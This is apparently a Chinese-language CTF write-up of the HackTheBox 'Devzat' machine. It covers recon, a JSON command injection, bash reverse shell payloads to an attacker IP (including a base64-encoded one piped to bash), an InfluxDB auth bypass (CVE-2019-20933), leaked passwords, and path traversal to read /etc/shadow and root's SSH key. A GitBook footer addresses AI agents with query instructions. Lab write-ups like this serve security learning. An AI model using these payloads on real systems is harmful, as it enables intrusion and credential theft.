> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * 模糊测试目录 * Web 注入（RCE） * 利用 InfluxDB（CVE-2019-20933） * 利用 Devzat Chat 的 /file 命令（权限提升） {% endhint %} ## 侦察： **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板中（22.80.8000）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

### 80 端口

使用 `whatweb`，我们发现了一个与该站点关联的电子邮件： `patrick@devzat.htb`.

应用程序还告诉我们可以使用 8000 端口通过 SSH 连接到“chat”： ```bash ssh -l [username] devzat.htb -p 8000 ```

### 8000 端口：我们尝试连接，但出现问题，因为需要 SSH 密钥： ```bash ssh -l jordan devzat.htb -p 8000 ```

**临时强制使用 SSH-RSA：** 我们使用以下选项指定本次会话要使用的 SSH 密钥类型： ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Projet Devzat（SSH 聊天）：** {% hint style="info" %} Devzat 是一个自定义 SSH 服务器，它连接到聊天界面而不是命令提示符。由于 SSH 应用在所有平台（包括手机）上都可用，因此你可以从任何设备连接到 Devzat。 {% endhint %} 以下是此聊天中可执行的命令列表：

### 模糊测试 **目录：** 我们使用 `gobuster` 用于列出站点上的目录： ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 未发现有趣的结果。

### **子域名模糊测试** 我们使用以下命令搜索子域名 `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` 我们发现了 `pets.devzat.htb` 子域名并将其添加到 `/etc/hosts` 文件中的用户进行测试。

## **漏洞（RCE）JSON：**

我们可以添加带有物种信息的“pets”，这允许进行 JSON 注入。

我们使用 Burp Suite 拦截请求，并尝试通过添加 name 和 species 条目来操纵请求：

该条目被解释，从而允许注入。 ```json { "名称": "jordan", "物种": "jordan" } ```

我们监听 ICMP 回显以观察通信并测试命令注入： ```bash sudo tcpdump -i tun0 icmp ``` 我们收到了一个 ping 响应，这证实了远程代码执行的可能性。

然后我们发送一个带有 `curl` 到我们的 Python 服务器的请求，并且也收到了一个请求，这证实了远程代码执行漏洞。 ```bash { "名称": "jordan", "物种": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### 反向 Shell 我们尝试创建一个反向 shell： ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` 不过，出现了输出错误。

**错误解决方案（反向 shell）：** 为了解决这个错误，我们创建了一个包含反向 shell 的 HTML 文件，并将其编码为 base64： ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` 我们将此文件转换为 base64： ```bash base64 -w 0 index.html ```

在请求中，我们执行编码后的 base64 字符串的 echo，并在运行 shell 之前进行解码： {% code overflow="wrap" %} ```bash { "名称": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} 我们再次监听 443 端口并获得了一个反向 shell。

#### **终端处理：** 为了稳定我们的会话，我们使用以下命令： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 权限提升我们注意到需要提升权限。我们需要切换以获取 `catherine` 用户账户的访问权限。

#### 开放端口识别首先，我们使用以下命令观察内部开放的端口： ```bash netstat -nltp ``` 开放的端口是： * 8086 * 8443 * 5000

### 端口转发（SSH）我们使用用户的私钥并设置正确的权限，将内部端口重定向到我们的攻击机： ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` 然后我们使用 `nmap` 来扫描重定向后的端口： ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### 5000 端口：

我们注意到该端口与 8000 端口上的相同服务相关，因此没有给我们带来额外的利用路径。

### **8086 端口（InfluxDB）** 8086 端口上的服务是 InfluxDB，版本为 1.7.5。我们识别出 InfluxDB 中的一个 NCE（远程代码执行）漏洞：

**漏洞：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} 该漏洞允许你通过使用一个其 `SharedSecret` 为空（即共享密钥）的 JWT 令牌绕过身份验证，从而让我们访问数据库。 {% endhint %}

#### 访问数据库连接到 InfluxDB 后，我们列出可用数据库： ```sql SHOW DATABASES; ``` 我们选择 `devzat` 数据库并探索用户数据。我们先列出“measure”（表）： ```sql SHOW MEASUREMENTS; ``` 该 **`用户`** 表包含有用信息。为了探索该 measure 的列，我们执行： ```sql SHOW FIELD KEYS FROM "user"; ``` 然后我们显示 `用户` 表： ```sql SELECT * FROM "user" LIMIT 10; ```


密码	username
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

catherine 用户的密码是 **`woBeeYareedahc7Oogeephies7Aiseci`**，这使我们能够恢复 **flag** 用户。 ### user.txt 标志 :) 我们成功获得访问权限并切换为 `catherine`.

### 8443 端口（Devzat - 生产环境） 8443 端口专用于 Devzat 的生产实例。我们注意到一个 `文件` 参数会以 root 身份列出系统中的所有文件。然而，访问此功能受密码保护。

我们尝试使用 catherine 的密码，但失败了。现在我们需要搜索系统中 catherine 可以读取的文件。

### 搜索 catherine 可访问的文件我们使用以下命令搜索所有 catherine 可读文件： ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` 我们找到了两个 `.zip` 备份文件： * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` 我们下载 `devzat-dev.zip` 备份文件并筛选其中的密码。我们找到了一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

然后我们尝试使用这个密码访问 `/etc/shadow` 通过 `文件` 参数： ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` 虽然密码是正确的，但需要一个 **跨路径** 才能获得完全访问权限。我们使用以下命令浏览文件系统：

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` 我们成功以 root 身份显示了 `/etc/shadow` 文件。

### 以 Root 身份进行 SSH 访问最后，我们使用额外的跨路径来访问 root 的 SSH 密钥： ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

我们下载了 SSH 密钥并以 root 身份连接。

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.